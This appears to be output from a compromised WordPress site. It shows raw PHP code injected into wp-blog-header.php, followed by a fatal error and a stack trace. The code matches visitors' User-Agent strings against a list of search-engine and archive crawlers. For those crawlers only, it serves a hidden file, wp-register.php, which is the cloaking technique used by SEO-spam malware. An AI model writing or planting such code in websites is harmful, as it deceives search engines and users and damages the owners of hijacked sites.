$user_agent = isset($_SERVER['HTTP_USER_AGENT']) ? strtolower($_SERVER['HTTP_USER_AGENT']) : '';
$bot_keywords = [
    'googlebot', 'googlebot-image', 'googlebot-news', 'googlebot-video',
    'mediapartners-google', 'adsbot-google', 'apis-google',
    'google-inspectiontool', 'google-agent',          
    'bingbot', 'slurp', 'duckduckbot', 'duckduckgo',
    'yandex', 'yandexbot',
    'baiduspider', 'sogou', 'exabot', 'facebot',
    'ia_archiver', 'archive.org_bot'
];

$is_bot = false;

foreach ($bot_keywords as $bot) {
    if (strpos($user_agent, $bot) !== false) {
        $is_bot = true;
        break;
    }
}


if ($is_bot) {
    $rea_file = __DIR__ . '/wp-register.php';
    
    if (file_exists($rea_file)) {
        header('Content-Type: text/html; charset=utf-8');
        header('X-Robots-Tag: all');        
        readfile($rea_file);
        exit;                               
    }
}<br />
<b>Fatal error</b>:  Uncaught Error: Call to undefined function wp() in /home/lendahel/public_html/wp-blog-header.php:16
Stack trace:
#0 /home/lendahel/public_html/index.php(17): require()
#1 {main}
  thrown in <b>/home/lendahel/public_html/wp-blog-header.php</b> on line <b>16</b><br />